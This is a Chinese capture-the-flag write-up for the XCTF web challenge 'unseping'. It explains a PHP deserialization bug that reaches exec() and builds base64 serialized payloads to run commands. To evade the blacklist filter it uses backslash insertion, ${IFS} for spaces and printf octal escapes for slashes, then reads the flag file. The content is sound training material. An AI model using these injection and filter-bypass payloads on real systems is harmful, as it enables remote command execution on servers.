当前位置: 首页 > article >正文

攻防世界web第二题unseping

在这里插入图片描述
这是题目

<?php
highlight_file(__FILE__);

class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
 
    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 
 
    function ping($ip){
        exec($ip, $result);
        var_dump($result);
    }

    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
 
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}

$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

代码分析:首先可以看到一个疑似重点函数

1. function ping($ip){
     exec($ip, $result); // exec 执行 $ip 传递来的命令,并将结果写入到 $result 中
     var_dump($result);  // 展示 $result 的内容
 }
 看到exec,可以考虑是命令执行漏洞,大概率是采用绕过加命令执行获取flag
2. // __destruct() 当对象销毁时触发
 function __destruct(){
     // 如果 $this->method 为 ping 则会进入函数调用
     if (in_array($this->method, array("ping"))) {
         // call_user_func_array => 调用回调函数,并把 $this->args 数组传递过去作为参数
         call_user_func_array(array($this, $this->method), $this->args);
     }
 }
 查询文档可知call_user_func_array是一个回调函数,该函数第一个接收的是回调函数,第二个接收的是参数数组。

到这里,我们可以看出基本明确了:需要实例化一个ease对象,其
m e t h o d 参数应该是“ p i n g ” , 因为只有 method参数应该是“ping”,因为只有 method参数应该是ping,因为只有this->method 为 ping ,才会调用回调函数,回调函数的第一个变量就是ping函数,第二个参数就是我们构造的要执行的命令。
小结一下:
1.实例化ease对象,method参数是ping;
2.构造命令参数,使其回调ping函数时,执行我们构造的命令;

下面就要思考我们要获取flag需要怎样构造命令了,首先,常规思路肯定是先获取当前目录下的文件列表,所以我们先要构造一个“ls”命令。
所以我们需要实例化对象:

 $ctf = new ease('ping', array('ls'));

汇总

 <?php
 class ease{
     
     private $method;
     private $args;
     function __construct($method, $args) {
         $this->method = $method;
         $this->args = $args;
     }
  
     function __destruct(){
         if (in_array($this->method, array("ping"))) { // 如果 $this->method 为 ping 则进行调用
             call_user_func_array(array($this, $this->method), $this->args); // 调用回调函数 $this->args 是传参
             // $this 即 ease 这个对象, $this->method 你想要调用的 ease 类中的函数名 => ping
         }
     } 
  
     function ping($ip){
         exec($ip, $result); // 让 exec 执行我们传入的命令,并将结果传入 $result 中
         var_dump($result);  // 展示结果 => 考点,命令执行
     }function waf($str){
         if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
             return $str;
         } else {
             echo "don't hack";
         }
     }
  
     function __wakeup(){ // 执行 unserialize 调用此方法
         foreach($this->args as $k => $v) {
             $this->args[$k] = $this->waf($v);
         }
     }   
 }$ctf = new ease('ping', array('ls'));
 echo base64_encode(serialize($ctf)); // 运行代码,这里会显示序列化解
 echo "\n";
 // $ctf=@$_POST['ctf'];
 // @unserialize(base64_decode($ctf));
 ?>

执行代码,得到输出
在这里插入图片描述
这里输出的结果是ease对象序列化后的内容,
**这时注意:**我们执行代码首先会进入 __wakeup() 函数,该函数会调用 waf() 方法,将我们传递的 array() 数组中的每一个元素都过一遍 WAF,如果出现黑名单字符,就会输出 don’t hack,反之则会返回。
我们将要执行的 ls 很明显时会被过滤的,所以要绕过。
我们构造的是ls命令,目的是获取flag所在的位置,ls的绕过方式可以用“l\s”
所以将 $ctf = new ease(‘ping’, array(‘ls’))修改为 $ctf = new ease(‘ping’, array(‘l\s’));再执行
在这里插入图片描述
得到这样一个结果:
我们实例化了一个对象,构造了ls命令,所以输出结果应该是包含了flag所在位置的一个序列化ease对象。
把这个对象post到后台:
在这里插入图片描述
得到“flag is here”也就是flag的位置,

知道了 Flag 存放的文件夹,下面我们要去读取这个文件夹下面的内容,使用 l\s flag_1s_here 构建序列化内容读取?你会发现,上面那个命令中空格与 flag 都是黑名单内容,这里又考察了命令执行的空格绕过。在 Linux 系统中,我们可以使用 ${IFS}进行空格的绕过:
所以需要构造ls flag 1s here 来查看flag:
构造如下

 $ctf = new ease('ping', array('l\s${IFS}f\lag_1s_here'));
 echo base64_encode(serialize($ctf));

执行
得到序列化对象
在这里插入图片描述
post提交得到
在这里插入图片描述
至此,我们已经成功获得 Flag 的文件地址: flag_1s_here/flag_831b69012c67b35f.php

最后一次,构造读取该文件的命令如下:

 $ctf = new ease('ping', array('c\at${IFS}f\lag_1s_here$(printf${IFS}"\57")f\lag_831b69012c67b35f.p\hp'));
 echo base64_encode(serialize($ctf));

执行得到flag内容的序列化对象:
在这里插入图片描述
最后post提交,得到flag:
在这里插入图片描述
总结:1.要能读懂代码
2.要知道如何构造命令
3.要会post提交序列化对象到后台

4.执行代码可以在线运行,也可以用VScode
5.post提交数据我用的是hackbar

知识点汇总:
1. function __construct($method, $args) { $this->method = $method; $this->args = $args; }
构造函数:当创建对象时自动调用。

2.function __destruct(){ if (in_array($this->method, array("ping"))) { call_user_func_array(array($this, $this->method), $this->args); }
析构函数:当对象销毁时自动调用
3.
exec($ip, $result);
exec()函数是用于执行系统命令的内置函数。它允许你在PHP脚本中执行命令行操作系统命令,并返回命令执行的结果。

function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}

__wakeup() 是 PHP 中一个特殊的魔术方法。它在反序列化一个对象时被自动调用,允许开发者在对象从序列化格式还原为可用的 PHP 对象之前对其进行某些特殊处理。这个方法可以接受任意的参数,但在实际使用中,它通常不需要参数。

5.call_user_func_array(array($this, $this->method), $this->args);
php中的call_user_func_array用来调用回调函数,并且传递一个数组型的参数给这个回调函数,返回值是回调函数的返回值,如果出现错误则返回false。

6.整体流程:创建 ease对象,触发构造函数,脚本执行完毕,触发析构函数,回调ping函数,得到包含执行了对应命令结果的序列化对象,post上传,后台反序列化,调用wake_up函数,过滤命令


http://www.kler.cn/a/456501.html

相关文章:

  • 【PyCharm】如何把本地整个项目同步到服务器?
  • 基础数据结构--二叉树
  • 操作系统论文导读(八):Schedulability analysis of sporadic tasks with multiple criticality specifications——具有多个
  • Python爬虫完整代码拿走不谢
  • 在K8S中,节点状态哪个组件负责上报?
  • Flutter中添加全局防护水印的实现
  • leetcode刷题——动态规划(2)
  • Vue使用Tinymce 编辑器
  • 《机器学习》数据预处理简介
  • 2024第一届Solar杯应急响应挑战赛wp
  • Blazor开发中注册功能设计研究
  • 阿里云 安全组设置 仍失效问题 解决方案
  • 欢迪迈手机商城设计与实现基于(代码+数据库+LW)
  • CCF-GESP 等级考试 2023年12月认证C++三级真题解析
  • UAVCAN/DroneCAN链路开发
  • 单例模式懒汉式、饿汉式(线程安全)
  • Live555、FFmpeg、GStreamer介绍
  • acitvemq AMQP:因为消息映射策略配置导致的MQTT接收JMS消息乱码问题 x-opt-jms-dest x-opt-jms-msg-type
  • 机器学习基本概念,基本步骤,分类,简单理解,线性模型
  • 【期末复习】JavaEE(下)
  • Arduino中借助LU-ASR01实现语音识别
  • Go语言基础语法
  • RNA-Seq 数据集、比对和标准化
  • 基于GA遗传优化TCN时间卷积神经网络时间序列预测算法matlab仿真
  • 【AIGC-ChatGPT副业提示词指令 - 动图】魔法咖啡馆:一个融合创意与治愈的互动体验设计
  • 总结一下本次使用docker部署遇到的问题